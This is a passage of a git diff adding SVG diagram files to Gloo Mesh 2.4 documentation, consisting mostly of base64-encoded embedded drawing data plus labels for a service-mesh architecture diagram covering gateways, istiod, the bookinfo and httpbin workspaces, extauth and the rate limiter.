UwMDEwxkyAxTeE2Z39063BXHUwMDA1J8Wp/T5cdTAwMWM8XFxiXHKtWVxyl/g12V9T3YGc+XQjZIKZgkHBhZer6OX08TP9OTpPN1x1MDAwN9HSbeX5+jX05Ix7iy7lJKzkTFx1MDAxMyxMbuyJWkdXL9F2plZ9+uj066BcdTAwMWY+W6PXT4+e8t/cbPNxXHUwMDBmtLxcdTAwMDdcdTAwMWFcdTAwMTY/dcui/PRaalaf4yiazMbQ5OaPW4W9XHUwMDBmu45Kul/wiFRSXHUwMDEw72Joel74VMng8bf+61x1MDAxOV4qifz0kVxuXHUwMDE1lTQlYOdeglx1MDAxMGeDXHUwMDFmgUtWi6PxpDpcdTAwMWFcdTAwMWaJTK6hYatk8vdsd2eTXG55sknNJTdVrIL737NUvU+unitcdTAwMGaxVKLXbXz0r2ncq5hXeORXI2FcdTAwMTGBNWLSPDv879rShFxuwbhcdTAwMTZcdTAwMDT5XHUwMDE0qj26/92c31xiolWIzUQ/bXoo9zunvbtR5EXT5ttH6WNcdTAwMTjp5euJfTDBz6cnmo2dx87z5+NMLvHAVKrv4UhcbodbX9rslFx1MDAxNVmXXHUwMDEyYbFRL+Kn6N24mT+/vym2ypmkzr5ezuQs5JajJiBmSFCm58+rXlx1MDAxZkqCSXpcdTAwMTDTXHUwMDExiE+p6lx1MDAxNmK6XVxyXHUwMDE3rGB6XHUwMDAynahb/3P6fkdbL42kovIqf1x1MDAxNXn7/Pj0qFfxbTpuXHUwMDAxRIdZ3u9hXHUwMDBmMew6XHUwMDEzz/2CX6A6vEw8aYuCXzXxOFZcdTAwMTSZPJHAasN/PUNLXHUwMDExTcMnb8XBkSmGvV5xXHUwMDFjxMYjzjhcZi1Na0H2beP92OC/rKbPcfF9XFy3L/9vw1x1MDAwZcult1x1MDAwNzfsxj3bt1xcserWUCSHVfdzfjtcdTAwMTA85imqXFwxhTFjweM2irNGQafV/edl7mqiSGk8LtxuXHUwMDE1R/+lXHUwMDA0T1vU01x1MDAxNSNZWPmdVJRRfNRKzLvwu3x/9sQr7336kXx5vb9cdTAwMWXFpvl67pvf7YvfXHUwMDFkaHm/hz2hYdfRRvdcdTAwMGJcdTAwMWWTNmrPtFx1MDAwNtOPXHUwMDA1weWC61wi/+VcZi9rZD7aSJNQkUaCkDBh4OibNJ7ZSONcdTAwMTAuc9ZudFx1MDAxYWOPclx1MDAxY1szxzVHXHUwMDAya+jXKnlcXJrnXHUwMDBlXGZcdTAwMTJ7XHUwMDE34kDSJIDiXHIq3I3ExdPrNFx1MDAwN5MqvNUj/ad+7rU7XGI9hZQ+plx1MDAxZUWh5ZCYUkaQSV1cdTAwMGKvXHUwMDAw+6lM0bloNaNPJJnIt9/py9N5ddoqf5PIfZHIXHUwMDAzLe/3sN/DruOm7lx1MDAxNzwmN/Uut1wiTV93XHUwMDA27CywkvNfzvByU+Kn5kjIyKmJREA4zKrtXHUwMDE43LRaaYy+lJSuIXRcdTAwMGVSOp/gVlwiyrWniHLOgevQXHJ4aK5/ldWfhVx1MDAxYlx1MDAxY43Fulx1MDAxZlVVer1cdTAwMTn1t+GhXyeg8Fx1MDAwZS0tk4kgtVx1MDAxNsImXHUwMDEyc1x1MDAwMUUgvmCuma5TiPjUg1x1MDAwYlx1MDAxMpTiRUNcdHUpfySd7ZHpvPVcdTAwMTiiIa745qdcdTAwMGWPXHUwMDE0xuEq+mrprz6iX2v3epFOdVSPXHUwMDE0K5Ved/RPt1uEX2GDVV1cdTAwMDFBbFx1MDAxYrjmc76x9C1WRd9vgr6A4N14lyrPUDVOlUJcXOPg4Sv+dz2kkIAlXHUwMDA3w5BLXHUwMDEz5YWEWKmTgfG8P6EwLUGVd/u1XSBcdTAwMDFcdTAwMTNqcVwijTaGK3Hl0k9dXHUwMDBiXHUwMDBiMc6w8X5xLLTDTlx1MDAxNZpcdH3cXHUwMDE01VBUyfBXSmcrfc4oYVxunlx1MDAxNWC+YspZlYJbgmqtXHUwMDExx9yUXHUwMDAxVlu2nfSP4Fxcnlx1MDAxNFOaYVwikGnBRjFya1x0Ry1BOGdKMoo0LJ2zJdxJ1Vxi8tz+5uHY+Ivh/rL/3Fx1MDAxY/iwz7Eu4UIozYNcdTAwMDdg1Fx1MDAxZVx1MDAxZT6irZd0oZPvJac3jVk0mq6FXHUwMDFk+JDSlqSKaK1ModSVxpNYScu0N8VcbsF2pD4hulx1MDAwMfpOeEFcdTAwMWanXHUwMDE2mIYgXlx1MDAxY0tCuc1AXFyUhsTCWE1USFx001x1MDAxMdRcdTAwMDF9TJi+mZj8KdC3KqlcdTAwMDH6fWfiL7hcdTAwMWNcdTAwMWZcXMUzclRmr+lcdTAwMThqR93wXHUwMDA3WZRgpaREpmokQJ9wllx1MDAwZVwiyjJcdTAwMTFcdTAwMDFcdTAwMTRcdTAwMTDK9MZFe6nUczz08dyB81dcdTAwMWSbb0P4WZMl4IlAXHUwMDA0MWFaUbLgXHUwMDEwXHUwMDE0eXqKMYL0RYwmhqnyS2n6dvlcdTAwMTFuXGJSkvjli3NhYcbVvDizvZb58Vx1MDAxYt9wRrUpXHUwMDFifqKRw/HH9lx1MDAwNS5fdVxuhelFKkXfReP63F5K7Gw7XHUwMDE36PehwEGX97SGPVSXxtNahb1cdTAwMGa77lTA/YKLYVx1MDAxZNBy6FNcdTAwMDElPHNZTSVUoJdcIrjL0X85Q3oqXHUwMDAwWs6v7pVcdTAwMDRzbk9ablx1MDAxZodcdTAwMDJSS83BslxmcdDkXHUwMDExXHUwMDBlXHUwMDA1ur1xpNGdu96+9GhgXHKpW/VcdTAwMGbap7k9L+Xau5JcdTAwMTFcdTAwMTeMSZDp4Cd5zXTkdaLiiZvObJhmz4nL1CsthDtcXGXOS6X3OVx1MDAxZTftXHUwMDFhwWSeXHUwMDE395Te3Z+ChKvsl5iaMlNK8zDXNPJTl9dPxeRk2KlcdTAwMTXaxWRHd9h9LyEju2vhXHUwMDAzXHJ7KL5bXHUwMDFm8GG9k1x1MDAxYpdcdTAwMGItdcWmXHQhe1x1MDAxNy97XHUwMDE4d1ZPV7KF91K0fFeblIapZ9ktVvYw7mndtT982HVcdTAwMDTS/YJcdTAwMDFn+1jvXHUwMDE2bovX/O5OlmL6TbSHz12PzolflrztWWRcdTAwMDV5XHUwMDA2ZXKGKFOb5G3736YwXHUwMDEzU1x1MDAxZjUnlIX2pOb2wkw510qhY3ZcdTAwMDBcbiEzPVx1MDAwNitdQ+mcVfpcdTAwMDIwUk8xpd5NvDRsXo04XHUwMDBmLqcvkXdcdTAwMWF7f0pcXJfuK9nuoFx1MDAxNj2nj2JcdTAwMWIy+oVSqrS2XGIxpJtcYqnIipRcIqItkFxmLlxiZ0DOd6tk7nlCzVxc2KdL0FxuUkSaJkbHk9BdYlY+XHUwMDFlXHUwMDFid7nnVqN6pVx1MDAxMom3XHUwMDE5aj9cdTAwMTVcdTAwMWbR4bWXq/xcdTAwMDeOWamPx/1So1x1MDAxYrpQXHUwMDE1l3n5yr/3QS3z6WZAXHUwMDEwo1x1MDAxYnmQ/O9xOFx1MDAwMUBTY2/ieTNL5IhPQT+OaTlFwpyWXHUwMDFjRv6RtpggWlx1MDAxMIop5US5xLApZWnTS45IjVx1MDAwNdfa2cRUXG6OMCbHbGRcdTAwMTCKXHUwMDE4XHUwMDE1fyV0tlx1MDAxMqNcImCTXHUwMDEzhlx1MDAwNcFcdTAwMThWXHUwMDFl297mjFHBiOktY1Sw7uB8XHUwMDEzd9r374NyY3jfyolcdTAwMTH3mJQgXHUwMDAytJHgjMLOQ9JcdTAwMTk3Q5BFNCFA7JCWXHUwMDFj3uxsMHNSh8Te+988XHUwMDFjO38x3l/2n1x1MDAxYkNcdTAwMWZcdTAwMTWeXHUwMDFkIzBRlCxcdTAwMDWprkO+XHTpYVq/anTL5Wr1anKj5UXTq39paExcdTAwMTRccqvq04ZcdTAwMWQhbnOe05VpbVx1MDAxNFDvWZZcdTAwMThMJNtDXHUwMDExl1x1MDAxZVZ4MenfWFx1MDAwN5IhMZEhXHUwMDBl3/2ioJSlV05J6j1vvHlcdTAwMDAkbCjlXlx1MDAwNlx1MDAwZfVO6VaIg1UuN2hcdTAwMWLQmuqbRPeTXb/HX4tXXHUwMDExPeqPY9ehXHUwMDE3ctONiVPTPeDH87KQg1x1MDAxOFlcdTAwMDRhxkD8YbF8YnBcdTAwMDPEgXhcdTAwMTZcdTAwMWZfrPHCXHUwMDA1YbvUr3Ru0HtcdTAwMWNcdTAwMTFxRFx1MDAxZsRhxXorXHUwMDFmxFx1MDAwN3Z3P6ild1x1MDAxZd7mgHlsJYKMeltcdTAwMTimi6hcdTAwMDS7OriPIVx1MDAxMevdv83eU8On9/jsulSINtB1+OstU1xudoSkyHSEhGfmlMEginZcdTAwMTdcdTAwMTEkbuVZXHUwMDFkXCKIXHUwMDE1TE6B2fMtgmd2XHUwMDExJCFcdTAwMTFBsq1cYnpSXdBcYlphvIFcdTAwMTbMp/Kli0Q+3Zio2N3r+Vv3MqJD37HQ5KZRi+PfJZO5U1x1MDAwNG3Zoz6OvoOrQUxcdTAwMTVcdTAwMDVdLcmJOvqmmVxcqn//XHUwMDExlZXojJdn/Wo53ktcdTAwMWPJ0ffnKFnhXfGSacFcdTAwMTnmJLiIX12zdDVcdTAwMTKZVEasdYmT9X70cZBcdTAwMGa/iFx1MDAxM1x1MDAxMGLKvMxZI+JGw1wigFx1MDAwMCS4d0/mL1CzWFx1MDAxMlx1MDAwMFx1MDAxYaRCLOLfanZzIVSeh96UU4GZ3KAxcOojpVx1MDAxZcbPd8Xkfaw/k3dcdTAwMWb8llVPQ1x1MDAwNlx1MDAxOVFcXGLzLPSyXGZcbsW+QFx1MDAwNl1SPJ0yqJXCXHUwMDFhk39vTud2XCJIQ1wignSXXHUwMDA2IbYza4fFXHRmXHUwMDE4wVxcXHUwMDA3tzij6cSdTnXO269cdTAwMTdXmfzt3ezh/T5cdTAwMTXyQy3YXCJcdTAwMTZGv1x1MDAwYvnRJSnkWHCLc1x1MDAwNDtJXHUwMDEyivVuUrjfXHUwMDEwS1OxXHJMZHFM1+4uMZZcdTAwMGYv/Y9mOXk/fuxdospLPl9cdTAwMWPfXFyFN1x1MDAxOPLUkn9cdTAwMGW0vKc17KGSf05rXHUwMDE1TmXYdSGh7lx1MDAxN1xcXGbrQKxDh25q5tlyXHUwMDA3lKdcdTAwMDJTUqjgXHUwMDA3o/7rXHUwMDE5Ulx1MDAxYVx1MDAwYvpT+ulPRS20J/25nzq4hCC4Md9pRT82+E9cdTAwMGU5XHUwMDAyhlgpXHUwMDBlK2d3vYo7qz1QXHUwMDA051x1MDAxYca4ynWX5rk967WnXHKtyq3gknNcdTAwMTNBXHUwMDEx3PycXHKvblryI5K+0Vx1MDAwZsVmJXJbLV1sw3q/MLFIKWRcdPdMQE44tohgmjLTVMGn/NjXp1x1MDAxNVx0U1x1MDAwNUpjXHUwMDE54kqBflx1MDAxYbOSbDzOMtePXHUwMDE3V5VGsZy6aTZm48HuivhAw36nXHUwMDE1neJd+1x1MDAxZfZcdTAwMTDDrqOm7lx1MDAxNzxcIjWV2DPdXHUwMDFkiKnpz7DBOab/coaXmXJvXHUwMDFkJ5Ql96Tj9tLUi0rMtOZh1mxH4KVA884mjXH97Lz70XNv2nwoZrqG1a0y05WZbs9NpfROeiemJVx1MDAxZkEouORcdTAwMTben6LsLUt651x1MDAxN5lK5yFfrL6X69tw06+UW6kt8ktsXHUwMDExWSlcdTAwMDdHqbZcdTAwMTRcdTAwMTXwj6lcdTAwMWK3Y/jBnns0IFOMjHBcdTAwMWVi49JPa+ZGXHUwMDE3l8VC8u0xXVx1MDAxY6SyKXZTjJJueHnkqXlkXHUwMDBmtLxcdTAwMDdcdTAwMWH2SWe1oirXbFx1MDAxNa6HNTVJvFx1MDAwZibNPaxCpoFcIlx1MDAxZFnPPzZcdTAwMWZvXHUwMDFlPkQ7XCKq9fY+Vlx1MDAxN5VlrYiGafw0fiwmXHUwMDEzKIlcdTAwMDdcdTAwMWXLsNG4oDaqqWG9KD/G9VxcM1W6TL/WPFrEbmZVNK5l8iUu8q3Pu3YpLWPoc7KPfuintcv2Puw6ou5+wSNcdTAwMTJ1Rbx9yEJcdTAwMTGiXHUwMDE1I1x1MDAxYtTC913P8DJ15qfxubRoXHUwMDEwjf9F7So4Y5wpXHUwMDFjZi1/XHUwMDA0qp5s93pnmeqo/uU+5DVcdTAwMWN3lakvT3RcdTAwMDei7lx1MDAxZMKEiUJcdTAwMDJJiYJXTb1cdTAwMTh/qFx1MDAwYtxuR+rk+uqt8ljtTj68gvVPg6gzoixcdTAwMDaLoE3Ncko595TbnVx1MDAwMoW38yMrqvXphk5cZsao3YtmPlOPrejtZeS1Qq6z/d2V8TdRP+jyntawh1xunTitVdj7sOv4qftcdTAwMDWPyU+9Y1x1MDAxY5SWglBFg2s5/+U8TXpcbmzQ0oH03Fx1MDAxN/FT2Fx1MDAwN8woN3HEkPlcdTAwMTBcdTAwMTLUy9G40ftycrqG162S08Ukt1x1MDAxM1bsXaSKXHUwMDBirVx1MDAwNVx1MDAxMjq4MfnSvy08llx1MDAwNqXbi8v7l1x1MDAxN9x8KF3NXHUwMDFlQi+tXHUwMDFhXHUwMDExSy1cdTAwMWXLqS1cdTAwMWPDq4FcdTAwMGV+dlxySLJcdTAwMDWQ/JZV6kxvXHUwMDExXG5rhlx1MDAxNDrRXG7+leF5tlJcdTAwMTg2293zXFw891bhkVdcdTAwMTVccsZcdTAwMTJ20WSuSFx1MDAxMLhU1XW1Vu26w4DN1fI10fs/57KVtGvkXHUwMDFkvI9cYiFcdTAwMWPMr+C6+elh8FKM9S9ux/ekXHUwMDFjLaQyLfH2XHUwMDFhdmnXUjNLKzD7XHUwMDE4KD1FlpNoqEbIQvz3Y6d8cV9ply75qi7Sjs18hThmMtsu0n6FXHUwMDA3N8mJpLI8vlx1MDAxZFJcXLqUXHUwMDAzklx1MDAwYru0x9uNpVt2TGn/OVx1MDAxN19p92mRiD0zVymTXGL0yFx1MDAwNo2N/e9lKFx1MDAxZE5aKmTJeUkjrkwk74qwY2kpiTFWXHUwMDEymfpXXHUwMDA3Olx1MDAxYTa1aqWQmsOVXGJWtry9RUVKy1hcboRiXHUwMDA1c6JEO4BAalx1MDAwMlx1MDAxM+DqX1s7XCJgXHUwMDA1On+dc2ZvXGJcdTAwMDb8XHUwMDE1Kc2lpopcdTAwMDOMStubfrYjXHUwMDA0I01cdTAwMTBBlVx1MDAxMrBPJGi/n+/wKEB3svWgXCLeW9A8XHUwMDFjm28x3l/2n5uyXHKsPCPKXGLigmFlq1xuuFx1MDAxNn5i9edpXHUwMDBms/FsXHUwMDEwXHUwMDFm5vK1cnp29TbZjm14hk1XiqN6db9cYoSlsDiCTSh+PC8hXHUwMDEw8HhqwcJcdTAwMGJJOdxcdTAwMWTmXal6J483c0naddbA5VJcdETp2tJcdTAwMThhRZCtdH21+9ZcdTAwMWKWq/90h3C9s3ZcdTAwMDPk2b2F+peXoXWd2ZY8gHtWidKMgGLcgFx1MDAwNVxcn9+8VurkRspsOlx1MDAxM71cdTAwMTme3z6xLWtEfaVcdTAwMThSXG68fiGGK1x1MDAxNWpcYqOWXFyI4YFcdTAwMGWetIszXHUwMDBlO+VQMVx1MDAwMEdM1lx1MDAxYfhhlcOAmryXwfqjeXtzmVx1MDAxZfVcdTAwMDbZRifbvnpou2tyU31XaEFMY0977ZEzW2Nh41x1MDAxMZHaNFx1MDAxNTYpZM7GwnvV5Kui9sUlXYX9XHUwMDAzXHUwMDExXHUwMDE24COa2T+CKdlQxfuXXHUwMDA0IJ5eXHUwMDA1Lk1cdTAwMGZkxoPHn+ryR4bSl0yrcN+c1qs5/VSc0u3wZVx1MDAxYjtjXHUwMDAxXHUwMDFiXHUwMDFiuVx1MDAxMIXmXHUwMDE2osqUPNZcYomVOpBAuCyulFx1MDAwMlx1MDAxOVwiXHUwMDFjKW94YZojLrczM1xiIVx1MDAxNrZVXHUwMDA3cWvGXHUwMDBl8mv9esP82VHqXHUwMDFhYEeb/2yf/mr0+X1ccrdcZuLSR0XiSKEzzHdjt3ek+t593UcmXHUwMDEw70QvZKfUKtUy9dTkvjN7jz3RYOM6vvLBc4htXGbNmUOMJdd4g1xcxPFl8v2yXHUwMDFlxez8IUtyXHUwMDAyJ/LPXHUwMDFmoa84p1x1MDAwNEHAqsFmw4SB0K1cdTAwMTZXxtxiXG7seSpBWij1XHUwMDE2OJBMVvQvLe/rxSNu7SWcbjxCTGFcdTAwMTR76bt9XHUwMDBi1ddcdTAwMWSfbdrf4WzSXHUwMDFitrzbO3y5R805re1INbG3XHUwMDAzWJFDISVoaUqC02p/XHUwMDAwXG6lc23ea1BcYlxu1oWiTDpMW4mNXHUwMDEwYiklbHyOvW3bXHUwMDAwQuip9Vx1MDAwNLckp1x1MDAxOFSvmidEuZSIw1xibGx4XHUwMDA3qDxcblfiNmL9y8vOiUKEM3E8pfdFJc29yLg/61pcIuNUXHUwMDBiYY4lXHUwMDE0YYyaXHUwMDAzIydcdTAwMWJcdTAwMDeSobTkRFx1MDAwYqAhUklnY4dT8p55bjHzcG6uXHKZtU9cdTAwMGJcdTAwMDVP3z1BppIq3IDgtNq/v91+zPZcdTAwMDP0UODCYlx1MDAwMlafSFx1MDAwMInlSiGmoLqlXHUwMDEwNWXxqKZyXHUwMDE1+PZjtEukLFx1MDAxYmGWLqSaXHUwMDAz25B25u2AXHUwMDE3xahiQlx1MDAxZFD9h8KiT0xGvYhcIoVcdJCy0V0lklx1MDAxZNcuXHUwMDBibiBiusNcdTAwMTjExUpiXHUwMDEzYqKIdoNcdTAwMTHAXHUwMDFhrIkp3Y3gP6LXXHUwMDE49V7T8u/5toRtcCulJlx1MDAxMpn+3lxiXHUwMDExZ3tcdTAwMThlXHSGKSPUlKhRSPCTRrZcYmZLXHUwMDFmIEZlXHUwMDEzm4G4dlx1MDAwMKJXxIPax6OUrJiba1x1MDAwN6SaWbZcdTAwMTlQ+7HNmVPU1o7nKb/mwajn913G7r9+XuDvYr//MFx1MDAwNvn5vd3+/mhUJzHvMiZ//dxcdTAwMWJcdTAwMDZhq+a+/c///vW//1x1MDAxZnbkYFx1MDAwMCJ9 + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientenforcerate limitshttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/images/steps/root-trust-policy/gloo-mesh-root-trust-policy.svg b/gloo-mesh/platform/2-4/default/images/steps/root-trust-policy/gloo-mesh-root-trust-policy.svg new file mode 100644 index 0000000000..f1a6004b06 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/images/steps/root-trust-policy/gloo-mesh-root-trust-policy.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO29WVcqy9IufL9+hWOd202d7JtzJ6IgXCKINIrfPoNBXHUwMDBm0lxuXGLoO85//1wimU4poFx1MDAxYVop55S9hu5pQVaSXHUwMDE18eRcdTAwMTOR0fzPP2dn/47fXHUwMDA2tX//z9m/tVml1GlVh6Xpv/8xf5/UhqNWv1x1MDAwN5fI/N+j/uuwMn9nczxcdTAwMWWM/s///t+lwcBafMqq9Lu/Plnr1Lq13nhcdTAwMDTv/f/g32dn/zP/abtXaTjs/7rN/M+LW1x0Jlb/muz35rfVVFx1MDAxM4IpQZ9vaI1cInCrca1cblfrpc6otrhi/vRvo8reOu1xuFhvXsTaXXExVLd3i7vWW51OZvzW+fWdSpXm67C2uDpcdTAwMWFcdTAwMGb77dpDqzpuwnW88vfPz4368O1cdTAwMTefXHUwMDFh9l9cdTAwMWLNXm00WvpMf1CqtMZv5m9oMf1SrzFcdTAwMWZj8ZeZ+ZqaW0jD96SCM0pcdTAwMDX9vGo+z7hEXHUwMDE2R5pxTOH/XHUwMDEztjKvi36nPzTz+l/1+Wsxs3Kp0m7A9HrVxXvKNVaullx1MDAxN++ZfnxbZTHMMFx1MDAxMfCf0lx1MDAxMjP++Y5mrdVojudfZHHn2vxcdMCUXHUwMDE4I0Qvvra53eC6upCD+V8z4maYfopdXYReiap2UsVcdTAwMWVO6H8/rv/f1XVuloaDj/X8dz572zcy/7y0ydriw6+DaumXXFxgwbjAUlx0pvVisTqtXlx1MDAxYi72XjtcdTAwMWTbXHJLw3G41au2elxyuPY/i1x1MDAxOX/I8/VcXKhS57L5Uuni5lOslVG8kVx1MDAxYtZD75+TMmLVr7ya6cBz4kxSTpBEhGuEiO1NjdLAKJa0XHUwMDEwp1x1MDAxOIFYaypcdTAwMTlcdTAwMTNcdTAwMWZv+H+fk6r1qv5TXG71X+6iqU6y0Fx1MDAxY1x1MDAxNV5UfpwsoPi185RcdTAwMTCSQmMhXHUwMDE5VVx1MDAxMmumnCZFLaHNc1dcdTAwMDJcdFx1MDAwMt9hbVKd0mh80e92W2NY47t+qzd2XFzLc6PkzVqpunpcdTAwMTW+lP3aKlx1MDAxYVxmzIjLQrP4f2dcdTAwMGJ1mf/j8///3/84vttVlM0rhG2f/8f+++PLrlx1MDAwMVx1MDAxN1xiTs1cdLcw4cpccrgwrFwiYkzqz7X2RS5cXG49JPjwJn55nVx1MDAxYk6uXHUwMDFl316j/ZRcdTAwMGJyrSDQqXCLcyM3UnPOXHRBjCyWw3xcdTAwMWVcdTAwMTaAWlxcMYQ0JbBcdTAwMTbSXHUwMDE1t1CtjGvMXHUwMDFit5aA7TdoUWVcdTAwMTFcdTAwMDIzgC1Ega5cdTAwMGKxUPdP1OLI0kJThDVXgmtuW55fIEZcdTAwMTlWQlG2+KwziL3fvSZnt1wiP3hcZqthP1NLNl+GTbvKjae9cCo1YZ1cdTAwMWW/KszabTU+f+vb31DotSWpRN7V2+216lx1MDAxNnNcdTAwMTekx7P2N+yOkyPzjz1wclx1MDAwMfdcdTAwMWLg5Kpmu1xcOTBmLF07KGBcdTAwMTBuMcVcdTAwMDTssVx1MDAxMkRVLyR1o0+7XHUwMDBioXlhYklGKOFMabikpNxvvDVx9lx1MDAxYlx1MDAwZVx1MDAxZO7TXHUwMDA3Q07YXHUwMDFlXZGTweRcdTAwMTjDdEFcbv2Qc1xcktfivVx1MDAxZrluotCsXFxOXHUwMDBlxehNXHUwMDA3XHUwMDFjOaW2sKSCKFxu9IlgvY6cRCDKXGKGhdDujG9n5FxcTGdB79YkdVx1MDAxNSkxkFx1MDAwM6awtu1qP1D5d0Hl0ru9sG1PgFx1MDAxMO7USjIkJEVqc6Ow9daevj8koqXBeaXJXG4s077lQadWS1x1MDAwMIFtQvdcdTAwMGIguFx1MDAwMF5PhJCAXHUwMDEyVFx1MDAxY1x1MDAwMSA80OBcdTAwMTMx1uxBJajkjOhcdTAwMDV2/+DD34VcdTAwMGbuYrPy8Y3wYVirjH/ph1x1MDAwM0hcdTAwMDCRccVcYq446Fx1MDAwNaJbmF99lKuoeCyZeIq940iOnvfKpaA7juZcdTAwMDaYXHUwMDAyI1dSRrlmXHUwMDBiXHUwMDFkdaJcdTAwMTFiZV5bocR4WOqNXHUwMDA2pSFowZHsMKVcdTAwMTTXwlx1MDAxZjyCjFxyn/f4XHUwMDFmm9S7uEBtwtdslC+r2XzmevhcdTAwMTTvj9/7KjSUlX8/3/f//uM87q9cdTAwMGZfZaIq8jyeRfR9qfdcdTAwMTbJtWo6jJfvsjyBXHLHrVx1MDAxN/viMlx1MDAxYk9GR2pUSlTqb83Qu95s3LWl3Fx1MDAwMil3XCJcZsZn5Vx1MDAwNlx1MDAwNlxcXHUwMDExJIW0eSf8sKB/8faYfH1cdTAwMTevottpNthD6pp0nlx1MDAwMs5cdTAwMTdcdTAwMDRcdTAwMDIkXHUwMDAwXHUwMDA1JFQyjG3a9cFcdTAwMTeUXHUwMDA1iqeJ5FxcULxcdTAwMWZfqKI6q2tcdTAwMDfKXHUwMDAwXHUwMDFhrikmTFwiXHUwMDA1N1wiWq2jXHUwMDAw5lx1MDAxNjxcdTAwMGItXHUwMDE0g9kgQiRbhVx1MDAwMcPv4IrEfkZGr/d405xVJr2rN056U4las8tJQHDgb+NcYlx1MDAxNqKccMB9eHZcdTAwMWEzXHUwMDBlkvif5evIsFlOMJHwk2mFqS+VQJZcIoxcdTAwMDOZMM5cXGC8S0OGzJiKXCJGOOxt8Fx1MDAwYpbV15thhsRcdTAwMDQxRVx1MDAxOdagKUueYSOa3JBcdTAwMTbCXHUwMDE4Z1hxv9G4RanRNk1cdTAwMTV8faSXJ4ixhVx1MDAwNfBcdTAwMTDgxIiAUDO/4eBcdTAwMWJhoVx1MDAwNMJMSPhcdTAwMDEmzsK//Ht+5lxcQVx1MDAwMLlcdTAwMTJcXFx1MDAxMuTvvNnvsWxE0WqdTmswclx1MDAwNmXAXHUwMDAxV4ZmPPNcdTAwMTJcdTAwMDFF2Vx1MDAxOJVfXHUwMDEzkzZp8lCz9NB7ea6EUm/R9CT4qMyQwkZ6XHUwMDExQTZa9IHKcFlTbc5lXHUwMDE0UmplXlx1MDAwN0JlXGaMnIPJrLBcdTAwMTErhFx1MDAxY1xmOY/3/EZlTVx0Vtj+XHUwMDE1gofKfoeFX8vOfMdcclx1MDAxN2aDliqweP5cIj1+K7Zvw7exh69gUZ5mlfAwq1x1MDAxMOztmFx1MDAxMrm5WcVU8b6czatCtVx1MDAxYq7dJdljvcRcdTAwMWFBN6so7Fx1MDAxM5gjqVx1MDAwMVx1MDAxYc1Pm0kyP5AnilrAXihwXHUwMDFkQWyYuq63StZ52VtvMSkrJdb1liBjVC1etiiJT71cdTAwMDWjXHUwMDBiKJfttcamiFKSKir9jKqvNok+NFx1MDAwYlx1MDAwZi/Sld7DJdK4nY9nJ/o+2jyA6Vx1MDAxMsH0XfZ092VcdTAwMTKPNCfZ0tXVZPp+YtPFR+lcXM1cdTAwMTfNKFOKbmG+eMdcdTAwMDZcdTAwMDRU5zhVwFbAMCB8/nNF4zgxzI1zWFx1MDAwYmBa2lXjwKxAXFx6a1x1MDAxYyGqXFxz0DhMXGJaUidcdTAwMDf7hag1XHUwMDE1m7MnckxcdTAwMTXbbV/7JVxmNZR4nE4r+nZcdTAwMTZcdTAwMTmG1CTSuFx1MDAxYrXiXHUwMDA3UDGWQGh0p5/bT41MOPeeT6cwfj3AuN5cdTAwMDFcXJ7jnkh1lft+yaimXFyCKbyx7kannUtcdTAwMTgx0+qq6StjtUrkPnJcdTAwMTN03VVUL+nu2nbJN1PeXHUwMDAwbJeSaK6I7WzpXHUwMDBm2S5Po1x1MDAxYlx1MDAxY7uf81x1MDAwYribsd8339cyovxW5++h+GB2d95N3Ke6XHRCgq5cdTAwMWJcdTAwMTgrXHUwMDAxdrugTJNfP1eUXHUwMDAzZJJupFx1MDAxY/PX7j56MLiXhX9dP5RcIpawvfiqemDMhYaZouPpxz57XaKXi9eiw8pNvPpyqZ5z9bvMZeJcdTAwMDB7Uvj6+Wk8XHUwMDE5ZTsv+cxg0p3dXCLWpkHWO2o7XHRa0TuQNGBITGzud8lcdTAwMTVrldvsVN6Uy8lcdTAwMGJ99UiHN/Vp0NWOMGLXOqXpqdRcdTAwMGVsRV+1WztcdTAwMGLDWnGKOFx1MDAxNqdTtK+mUdSVRploXHUwMDA3QchcdTAwMTZcdTAwMDFcdTAwMWb0YVx1MDAxOH1cdTAwMTBPlZdncaPzKT1cdTAwMWGmSTzoXCLLXHUwMDA1s7iNRa1uXHUwMDE0XG5/XHUwMDE3XHUwMDE2hVx0ksbvfUTp/atoXHUwMDE0szncVnWDMCmZ/bDMTzdcdTAwMDQqXHJeqlk0nSWu3lx1MDAwYreJ65f+bfrrdFx1MDAwM+2kXHUwMDFiRM3hnFx1MDAxOVx1MDAwZiQ2eLDsSYeVV5bAXG5Rxlx1MDAxOMHUVTf2clx1MDAwZkhQULvc03XdoHa9/Fx1MDAxZDTJXHUwMDExbDc2nlx1MDAxYiTK9Kqeq4NEt5IvxHvtUZq1XHUwMDA2qFx1MDAxN1x1MDAwYrIuUIHddFx1MDAwMVx1MDAxYnNCb5V00Vx1MDAxZk1edOQmzbuEjVx1MDAxM+f3yZtoNFx1MDAxMvSNXHUwMDAyXHUwMDEzxrxMXG6u+YbcZo+dQlwi5MdrMFnjNURcdTAwMDH1RD/29aE2XHUwMDA25m5fc9iY53EvXHUwMDFiK0P0+uLqneeSQ3RXf82F9WAgdexcdTAwMWIoXHUwMDAz91JcdTAwMDZJtGXS7SjDTGOxOrGDKYNcdTAwMDNPXHUwMDAyLoXsL7qqXHLYXHUwMDFj+2pEfUNdTqNcdTAwMGX50pN4bpXrl22cZeilXHUwMDFkXHUwMDFhoMh9kNWBSuqmXHUwMDBlioBcdTAwMTBcdTAwMDAn3dzsVVmNp/jt4blcdTAwMWbt3Y86svecYnyXcIPVYKsj+mFcdTAwMDX2Ulx1MDAwNUroZlx1MDAxNoRcdTAwMTKkpivequCWR1xmj9dN6lx1MDAxN6Gg6ySJXHUwMDE4p6vWXHUwMDAx1YTutFJ4XHUwMDExvJu6j/TBuIlccl8vZlfOmjCuzcab+pXkuFVcdTAwMWXV3lx1MDAxNYk/tjqP3Xqo9kjZZlxu5j